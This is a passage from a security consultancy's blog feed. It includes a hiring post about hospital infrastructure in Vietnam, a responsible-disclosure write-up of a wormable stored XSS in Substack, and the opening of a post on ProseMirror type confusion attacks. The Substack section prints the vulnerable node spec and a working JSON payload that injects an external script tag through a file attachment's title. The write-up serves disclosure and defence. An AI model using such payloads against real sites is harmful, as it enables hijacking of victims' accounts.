data-attrs="{&quot;gallery&quot;:{&quot;images&quot;:[{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ce77cc79-17fe-48d4-9655-0734f24bc6be_3072x4080.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f7c0a3fc-bcfa-4840-a2dd-c40f179724f3_960x1280.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9fa0c58d-13f2-437a-befa-0b210b91c198_3072x4080.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c02ce8d3-0912-4012-b3b2-c20aea4a4ac8_3072x4080.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/221af7d5-8926-440d-a1c0-95058d985ef3_3072x4080.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5ba01c41-5ba3-4e79-959d-6bc233f241ac_3072x4080.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f905a4c7-8232-40bf-a09c-0c80ced19df3_3072x4080.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1287aadc-8679-46c1-8579-69fa329e1bea_3072x4080.jpeg&quot;},{&quot;type&quot;:&quot;image/jpeg&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d8262b2c-2ea9-4318-a3df-085df0d43e63_3072x4080.jpeg&quot;}],&quot;caption&quot;:&quot;&quot;,&quot;alt&quot;:&quot;&quot;,&quot;staticGalleryImage&quot;:{&quot;type&quot;:&quot;image/png&quot;,&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f191a2ce-124a-4e83-a711-fda7917d322b_1456x1454.png&quot;}},&quot;isEditorNode&quot;:true}"></div><p>If this looks fun to you, <a href="https://jobs.calif.io">we're hiring</a>. Otherwise, don&#8217;t worry, you can always wear anything to work, nobody cares!</p>]]></content:encoded></item><item><title><![CDATA[Building new hospitals in Vietnam]]></title><description><![CDATA[Two years ago, when a close friend of the family (let's call him D) was sick, I took him to tour the hospitals in Saigon.]]></description><link>https://blog.calif.io/p/building-new-hospitals-in-vietnam</link><guid isPermaLink="false">https://blog.calif.io/p/building-new-hospitals-in-vietnam</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Fri, 20 Sep 2024 01:39:42 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!h55q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!h55q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!h55q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 424w, https://substackcdn.com/image/fetch/$s_!h55q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 848w, https://substackcdn.com/image/fetch/$s_!h55q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!h55q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!h55q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1452999,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!h55q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 424w, https://substackcdn.com/image/fetch/$s_!h55q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 848w, https://substackcdn.com/image/fetch/$s_!h55q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!h55q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F60c10fdf-1058-4fa8-a0d4-51c8447349f4_2880x2880.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Two years ago, when a close friend of the family (let's call him D) was sick, I took him to tour the hospitals in Saigon. The whole experience was Kafkaesque.<br><br>D needed major surgery. A doctor at a large public hospital said that D's surgery must be the first operation on a Monday. If we missed that slot, we'd have to wait another week.<br><br>When I asked why it must be the first slot on a Monday, the doctor asked if I ever went swimming, and without waiting for me to answer, he revealed with a smirk that their only operation room is like a public swimming pool, it's only clean on Monday.<br><br>Although D could take the surgery as an outpatient, the doctor recommended that D should be admitted as an inpatient to increase his chance to win the first slot of the week's lottery.<br><br>However, when I tried to enroll D, the hospital couldn't find any bed for him. The nurse recommended placing D on a gurney for a few days while waiting for the next available bed.<br><br>"It's outside in the hallway, so at least you don't have to share a room with other people," I wasn't sure if the nurse was joking and at that point I was afraid to ask.<br><br>We said thank you and went home. I couldn't fathom leaving D in his most vulnerable moments out in a hallway. Luckily, a short while later, we found a solution, which I&#8217;ll save the story for another day. D is okay now.<br><br>However, what happened during those dark days still bothers me to no end. Whenever I go swimming, I&#8217;d remember the doctor&#8217;s remark, and start to wonder about death by contamination.<br><br>It&#8217;s obvious to me that Vietnam can use many more hospitals, but I had no idea how to help. The most ambitious structure I ever built was a Lego house &#128517;.<br><br>Near the end of 2022, through a series of faithful coincidences, I found myself having lunch with an ambitious couple who have founded multiple successful healthcare businesses. Guess what they wanted to build next? Hospitals!<br><br>Fast forward to today, I'm so proud to share that Calif Engineering Team has helped build the technical infrastructure for two brand new private hospitals in Saigon.<br><br>It wasn't an easy job. We faced countless issues, technical and non-technical. The stakes sometimes couldn't be higher: If the computers go down, people might die. <br><br>Luckily, the talented engineers that we sent to this project are excellent at dealing with setbacks. I wish I could stay calm and cool like them during times of distress.<br><br>We've gone so far, learned so much, yet are nowhere near done. Vietnam still needs many more hospitals, with more reliable and secure technical infrastructure. Judging from the international healthcare software that we've audited, Vietnam is not alone in this need.<br><br>Come join us to help build more hospitals:</p><ul><li><p><a href="https://docs.google.com/document/d/1SJ9ejDPWNc4oUGiFCXKjlW-xUraIqFA2o6b1Ro8_I4I/edit?usp=drive_link">Offensive Security</a></p></li><li><p><a href="https://docs.google.com/document/d/1CKJ-woVugLFYnu1zwZYWCb5YmE8LZ-QDyB432rNustU/edit?usp=drive_link">Software Engineer</a></p></li><li><p><a href="https://docs.google.com/document/d/1S4m0Unk6be9uZYikfKNQhw6n0YLOGrDhbCZcM8NLjP0/edit?usp=drive_link">Operations Lead</a></p></li></ul><p>Thai.</p>]]></content:encoded></item><item><title><![CDATA[Wormable Substack XSS]]></title><description><![CDATA[We found a stored Cross-Site Scripting (XSS) vulnerability in Substack.]]></description><link>https://blog.calif.io/p/wormable-substack-xss</link><guid isPermaLink="false">https://blog.calif.io/p/wormable-substack-xss</guid><dc:creator><![CDATA[Khanh]]></dc:creator><pubDate>Mon, 12 Aug 2024 16:23:11 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Ndab!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>We found a <a href="https://portswigger.net/web-security/cross-site-scripting/stored">stored Cross-Site Scripting (</a><strong><a href="https://portswigger.net/web-security/cross-site-scripting/stored">XSS</a></strong>) vulnerability in Substack. We could publish posts containing arbitrary JavaScript. When Substack users view our posts, our Javascript payload would be executed in the origin of https://substack.com.</p><p>We developed a proof-of-concept (<strong>PoC</strong>) that posted a new note to a victim&#8217;s Substack account, when they visited a crafted blog post of ours. The note read &#8220;but most of all, samy is my hero&#8221;, as a tribute to the great hacker Samy Kamkar. The PoC required no user intervention, and could be turned into a worm.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ndab!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ndab!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 424w, https://substackcdn.com/image/fetch/$s_!Ndab!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 848w, https://substackcdn.com/image/fetch/$s_!Ndab!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 1272w, https://substackcdn.com/image/fetch/$s_!Ndab!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ndab!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png" width="1456" height="750" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:750,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:304698,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Ndab!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 424w, https://substackcdn.com/image/fetch/$s_!Ndab!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 848w, https://substackcdn.com/image/fetch/$s_!Ndab!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 1272w, https://substackcdn.com/image/fetch/$s_!Ndab!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2eecf81-c6f1-41b6-80a9-c1cc914f252d_3168x1632.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>The vulnerability was caused by a <a href="https://blog.calif.io/p/type-confusion-attacks-in-prosemirror">type confusion issue</a> in ProseMirror that we disclosed recently. Substack uses <a href="https://tiptap.dev">TipTap</a>, which is based on ProseMirror. Substack  mitigated the issue by upgrading ProseMirror and TipTap.</p><p>If you use ProseMirror or TipTap, we recommend upgrading to ProseMirror 1.22.1 and TipTap 2.5.6 or newer.</p><h2><strong>Technical details</strong></h2><p>Please read <a href="https://blog.calif.io/p/type-confusion-attacks-in-prosemirror">our blog post</a> on ProseMirror&#8217;s type confusion attacks to understand the vulnerability concepts.</p><p>Substack allows users to attach files to posts. Each file has a name and a title. We discovered that we could inject Javascript into these attributes. More specially, <a href="https://gist.github.com/rskvp93/0ea92e6028903cbc8bfacf37f6bd9f66#file-base-6fd039df-js-L24120">Substack&#8217;s file node spec</a> in <a href="https://substackcdn.com/bundle/assets/base-6fd039df.js">this JavaScript file</a> was vulnerable to our type confusion attack, via the <strong>node.attrs.title</strong> or <strong>node.attrs.filename</strong> property.</p><p>The simplified node spec with the vulnerable <strong>toDOM</strong> code is shown as below:</p><pre><code>attrs: {
    filename: {
        default: null
    },
    &#8230;
    title: {
        default: null
    }
},
<strong>toDOM</strong>: e =&gt; {
   const n = ["div", {
           class: "file-embed-wrapper",
           "data-component-name": "FileToDOM"
       },
       ["div", {
               class: "file-embed-container-reader"
           },
           ["div", {
                   class: "file-embed-container-top"
               },
               ["image", {
                   class: &#8230;
               }],
               ["div", {
                       class: "file-embed-details"
                   },
                   ["div", {
                       class: "file-embed-details-h1"
                   }, <strong>e.attrs.title || e.attrs.filename || ""</strong>],
                   ["div", {
                       class: "file-embed-details-h2"
                   }]
               ],
               ["a", {
                       class: "file-embed-button wide",
                       href: e.attrs[this.actionButtonAttr]
                   },
                   ["span", {
                       class: "file-embed-button-text"
                   }, this.actionButtonText]
               ]
           ]
       ]
   ];
   return &#8230;
}</code></pre><p>When attaching files to a post, instead of passing a string value for the <strong>title</strong> property, we could pass an array, as follows:</p><pre><code>{
  "type": "doc",
  "content": [
    {
      "type": "paragraph",
      "content": [
        {
          "type": "text",
          "text": "This is my first post."
        }
      ]
    },
    {
      "type": "file",
      "attrs": {
        "filename": "sample.pdf",
        "filetype": "application/pdf",
        "filesize": 18810,
        "href": "https://khanhcalif.substack.com/f/883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
        <strong>"title": [
          "script",
          {
            "src": "https://static.staticsave.com/khanh/alert.js"
          },
          "testxss"
        ],</strong>
        "description": null,
        "thumbnail": null,
        "fileKey": "883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
        "dirty": true,
        "raw_href": "https://khanhcalif.substack.com/api/v1/file/883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
        "error": null,
        "empty": false
      }
    },
    {
      "type": "paragraph"
    }
  ]
}</code></pre><p>Due to the lack of <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">content security policy</a>, Substack would load and execute our JavaScript payload in the origin of https://substack.com.</p><h2><strong>Recommendations</strong></h2><p>If you use ProseMirror or TipTap, we recommend taking the following actions:</p><ul><li><p>Upgrade to ProseMirror 1.22.1 and TipTap 2.5.6 or higher.</p></li><li><p>Review node and mark specs to address the type confusion attack vector.</p></li><li><p>Add a strict content security policy to reduce the impact of XSS.</p></li></ul><h2>Timeline</h2><ul><li><p>July 14, 2024: ProseMirror maintainers were notified of the type confusion issue.</p></li><li><p>July 14, 2024: ProseMirror released version 1.22.1 and published a <a href="https://discuss.prosemirror.net/t/heads-up-xss-risk-in-domserializer/6572">security guide</a>.</p></li><li><p>July 16, 2024: Calif <a href="https://blog.calif.io/p/type-confusion-attacks-in-prosemirror">disclosed</a> the type confusion attack vector in ProseMirror.</p></li><li><p>July 17, 2024: Calif discovered the XSS issue in Substack.</p></li><li><p>July 22, 2024: Calif reported the XSS to security@substackinc.com.</p></li><li><p>July 22, 2024: Substack acknowledged and said they were working on a patch.</p></li><li><p>July 24, 2024: TipTap released <a href="https://github.com/ueberdosis/tiptap/pull/5385">version 2.5.6</a> referencing the ProseMirror XSS.</p></li><li><p>July 31, 2024: Calif asked Substack for an update. We got no response. The vulnerability was still exploitable.</p></li><li><p>August 5, 2024: A friend gave us the email of a co-founder of Substack. We emailed this co-founder the vulnerability details, including a proof-of-concept. We got no response. The vulnerability was still exploitable.</p></li><li><p>August 9, 2024: Calif found that Substack seemed to upgrade to the latest version of TipTap, which includes the latest version of ProseMirror. The vulnerability is no longer unexploitable.</p></li><li><p>August 9, 2024: Calif emailed security@substackinc.com and the co-founder, sharing that the vulnerability was mitigated, and our intention to disclose it.</p></li><li><p>August 12, 2024: Substack finally confirmed that they upgraded ProseMirror and TipTap versions to mitigate the issue.</p></li></ul><h2>About Calif</h2><p>Calif is a fast growing security consultancy founded by world-class experts from Google. Our client portfolio includes Google, SnapChat, Anthropic, and Let&#8217;s Encrypt. Our team consists of award-winning hackers and engineers, specializing in red teaming and security engineering.</p><p><a href="https://calif.io/#contact-us">Contact us</a> at help@calif.io if you want us to find bugs like this in your apps.</p>]]></content:encoded></item><item><title><![CDATA[Type confusion attacks in ProseMirror editors]]></title><description><![CDATA[Summary]]></description><link>https://blog.calif.io/p/type-confusion-attacks-in-prosemirror</link><guid isPermaLink="false">https://blog.calif.io/p/type-confusion-attacks-in-prosemirror</guid><dc:creator><![CDATA[Khanh]]></dc:creator><pubDate>Tue, 16 Jul 2024 17:22:36 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!O-rI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F41cea478-39a2-42cf-9b5c-6c1d999442d1_3414x1806.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1>Summary</h1><p>Calif was recently engaged to audit the open source knowledge base management package <a href="https://www.getoutline.com/">Outline</a>. Aside from server side components, we focused on the rather complicated Outline&#8217;s editor that is based on the <a href="https://prosemirror.net/">ProseMirror</a> library.</p><p>We found a type confusion issue in ProseMirror&#8217;s rendering process that leads to a <a href="https://portswigger.net/web-security/cross-site-scripting/stored">stored Cross-Site Scripting (XSS</a>) vulnerability in Outline (<a href="https://github.com/outline/outline/security/advisories/GHSA-888c-mvg8-v6wh">CVE-2024-40626</a>). An authenticated user can create a document containing a malicious JavaScript payload. When other users view this document, the malicious Javascript can execute in the origin of Outline.</p><p>While we demonstrated this specific vulnerability in Outline, other ProseMirror <a href="https://discuss.prosemirror.net/t/open-source-editors-based-on-prosemirror/5660">editors</a> might be vulnerable to similar type confusion attacks. We recommend Outline users and other ProseMirror editors upgrade to the latest version of Outline and ProseMirror.</p><p>We specially thank the Outline and ProseMirror teams for quickly addressing the specific XSS vulnerability and the general type confusion attack vector.</p><h1>Table of content</h1><p><a href="https://blog.calif.io/i/146679105/summary">Summary</a></p><p><a href="https://blog.calif.io/i/146679105/prosemirror-type-confusion-attacks">ProseMirror type confusion attacks</a></p><ul><li><p><a href="https://blog.calif.io/i/146679105/prosemirror-content-model">ProseMirror content model</a></p></li><li><p><a href="https://blog.calif.io/i/146679105/prosemirror-rendering">ProseMirror rendering</a></p></li><li><p><a href="https://blog.calif.io/i/146679105/type-confusion-attacks">Type confusion attacks</a></p></li></ul><p><a href="https://blog.calif.io/i/146679105/outline-case-study">Outline case study</a></p><ul><li><p><a href="https://blog.calif.io/i/146679105/prosemirror-in-outline">ProseMirror in Outline</a></p></li><li><p><a href="https://blog.calif.io/i/146679105/stored-xss-in-the-mention-node-spec">Stored XSS in the mention node spec</a></p></li></ul><p><a href="https://blog.calif.io/i/146679105/recommendations">Recommendations</a></p><p><a href="https://blog.calif.io/i/146679105/timeline">Timeline</a></p><h1>ProseMirror type confusion attacks</h1><h2><strong>ProseMirror content model</strong></h2><p>ProseMirror represents content as a JSON node tree, as follows:</p><pre><code>{
 "type": "doc",
 "content": [
   {
     "type": "paragraph",
     "attrs": {
       "id": "testid"
     },
     "marks": [
       {
         "type": "strong"
       }
     ],
     "content": [
       {
         "type": "text",
         "text": "test"
       }
     ]
   }
 ]
}</code></pre><p>Each node in the tree consists of a type, various attributes, various marks, and child nodes. The root node is a doc type node. The child nodes of each node are defined in the content array.</p><p>Editors must <a href="https://prosemirror.net/docs/guide/#schema">define</a> a <a href="https://prosemirror.net/docs/ref/#model.Document_Schema">schema</a> that contains <a href="https://prosemirror.net/docs/ref/#model.NodeSpec">node specs</a> and <a href="https://prosemirror.net/docs/ref/#model.MarkSpec">mark specs, as shown below:</a></p><pre><code>export const schema = new Schema({node_specs, mark_specs})</code></pre><p>A simple built-in schema of ProseMirror can be found <a href="https://github.com/ProseMirror/prosemirror-schema-basic/blob/master/src/schema-basic.ts">here.</a></p><p>Node specs and mark specs are almost identical. To save space, we will cover only node specs hereinafter.</p><p>Node specs contain the following information:</p><ul><li><p>The node type: Describe the string node name.</p></li><li><p>The attrs property: Describe the allowlist of node attributes.</p></li><li><p>The parseDOM property: Parse an HTML DOM element into a JSON node.</p></li><li><p>The toDOM method: Convert from a JSON node to an HTML DOM element.</p></li></ul><p>Here is an example node spec of heading elements:</p><pre><code>node_specs = {

 doc: {
     content: "block+"
 } as NodeSpec,

 heading: {
     attrs: {level: {default: 1}},
     content: "inline*",
     group: "block",
     defining: true,
     parseDOM: [
         {tag: "h1", attrs: {level: 1}},
         {tag: "h2", attrs: {level: 2}},
         {tag: "h3", attrs: {level: 3}},
         {tag: "h4", attrs: {level: 4}},
         {tag: "h5", attrs: {level: 5}},
         {tag: "h6", attrs: {level: 6}}
     ],
     toDOM(node) { 
         return ["h" + node.attrs.level, 0]
     }
 } as NodeSpec

}</code></pre><h2><strong>ProseMirror rendering</strong></h2><p>To render a content, ProseMirror serializes the content's JSON node tree to an HTML DOM tree. The detailed process is described in the <a href="https://prosemirror.net/docs/guide/#schema.serialization_and_parsing">library guide</a> and the <a href="https://prosemirror.net/docs/ref/#model.DOMSerializer">API reference</a>. This task is handled by <a href="https://github.com/ProseMirror/prosemirror-model/blob/751134cc35481fa69ae8f9215ea3653873c8eea1/src/to_dom.ts#L27">DOMSerializer</a>, which holds the following two arrays:</p><ul><li><p>nodes: Map node names to the toDOM methods that take a node and return a description of the corresponding HTML DOM element.</p></li><li><p>marks: Map mark names to the toDOM methods that take a mark and return a description of the corresponding HTML DOM element.</p></li></ul><p>To create the HTML DOM tree, ProseMirror calls<a href="https://github.com/ProseMirror/prosemirror-model/blob/751134cc35481fa69ae8f9215ea3653873c8eea1/src/to_dom.ts#L46"> DOMSerializer.serializeFragment</a>, passing on the JSON node tree. This method loops recursively over the JSON node tree. For each node, ProseMirror calls <a href="https://github.com/ProseMirror/prosemirror-model/blob/751134cc35481fa69ae8f9215ea3653873c8eea1/src/to_dom.ts#L77">DOMSerializer.serializeNodeInner</a> to do the following steps:</p><ol><li><p>Call the toDOM function of the node to get a <a href="https://prosemirror.net/docs/ref/#model.DOMOutputSpec">DOMOutputSpec</a> object.&nbsp;</p></li><li><p>Call <a href="https://github.com/ProseMirror/prosemirror-model/blob/751134cc35481fa69ae8f9215ea3653873c8eea1/src/to_dom.ts#L114C26-L114C85">DOMSerializer.renderSpec</a> to convert the DOMOutputSpec object into an HTML DOM element, using the browser&#8217;s DOM API, such as createElement, createTextNode, or setAttribute.</p></li></ol><p>The format of the DOMOutputSpec object in step 1 is flexible. It could be one of the following types:</p><ul><li><p>A <a href="https://developer.mozilla.org/en-US/docs/Web/API/Node">DOMNode</a> object: DOMSerializer.renderSpec will render the object as-is.</p></li><li><p>A text string: DOMSerializer.renderSpec will render an HTML DOM text node.</p></li><li><p>An array specifying a DOM element: DOMSerializer.renderSpec will render an HTML DOM element according to this spec. The array contains the following items:</p><ul><li><p>The first item: The string HTML tag name.</p></li><li><p>The second item: The HTML attribute object.</p></li><li><p>The remaining items: Zero or more child DOMOutputSpec objects.</p></li></ul></li></ul><p>Below are examples of DOMOutputSpec specified as an array:</p><ul><li><p>No child: This object renders to &lt;div class=&#8221;test&#8221;&gt;&lt;/div&gt;.</p><pre><code>[
    "div",
    { class: "test" },
    0
]</code></pre></li><li><p>A text child: This object renders to &lt;div class=&#8221;test&#8221;&gt;text&lt;/div&gt;.</p><pre><code>[
    "div",
    { class: "test" },
    "text"
